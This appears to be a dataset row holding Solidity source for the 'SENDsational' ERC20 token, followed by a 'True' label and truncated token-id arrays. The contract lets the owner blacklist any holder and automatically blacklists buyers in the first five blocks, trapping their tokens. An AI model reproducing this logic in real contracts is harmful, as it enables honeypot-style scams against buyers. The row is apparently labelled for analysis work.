* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SENDsational is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping (address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping (address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public earlySellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20("SENDsational", "$SEND") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 0;
uint256 _buyLiquidityFee = 3;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 0;
uint256 _sellLiquidityFee = 3;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1 * 10 ** 12 * 10 ** decimals();
maxTransactionAmount = 20 * 10 ** 9 * 10 ** decimals(); // 2% maxTransactionAmountTxn
maxWallet = 20 * 10 ** 9 * 10 ** decimals(); // 2% maxWallet
swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
if (block.number <= (launchedAt + 5) && //BLOCK COUNT
to != uniswapV2Pair &&
to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
) {
_blacklist[to] = true;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function Chire(address[] calldata recipients, uint256[] calldata values)
external
onlyOwner
{
_approve(owner(), owner(), totalSupply());
for (uint256 i = 0; i < recipients.length; i++) {
transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals());
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5840,
1011,
2484,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
2410,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
4502,
4313,
1063,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
3643,
1007,
1025,
3853,
2171,
1006,
1007,
6327,
5760,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
6454,
1006,
1007,
6327,
5760,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
26066,
2015,
1006,
1007,
6327,
5760,
5651,
1006,
21318,
3372,
2620,
1007,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
5884,
1035,
19802,
25879,
2953,
1006,
1007,
6327,
3193,
5651,
1006,
27507,
16703,
1007,
1025,
3853,
9146,
1035,
2828,
14949,
2232,
1006,
1007,
6327,
5760,
5651,
1006,
27507,
16703,
1007,
1025,
3853,
2512,
9623,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
9146,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1010,
21318,
3372,
3643,
1010,
21318,
3372,
15117,
1010,
21318,
3372,
2620,
1058,
1010,
27507,
16703,
1054,
1010,
27507,
16703,
1055,
1007,
6327,
1025,
2724,
12927,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
3815,
2692,
1010,
21318,
3372,
3815,
2487,
1007,
1025,
2724,
19948,
1006,
4769,
25331,
4604,
2121,
1010,
21318,
3372,
3815,
2692,
2378,
1010,
21318,
3372,
3815,
2487,
2378,
1010,
21318,
3372,
3815,
2692,
5833,
1010,
21318,
3372,
3815,
2487,
5833,
1010,
4769,
25331,
2000,
1007,
1025,
2724,
26351,
1006,
21318,
3372,
14526,
2475,
3914,
2692,
1010,
21318,
3372,
14526,
2475,
3914,
2487,
1007,
1025,
3853,
6263,
1035,
6381,
3012,
1006,
1007,
6327,
5760,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
4713,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
19204,
2692,
1006,
1007,
6327,
3193,
5651,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
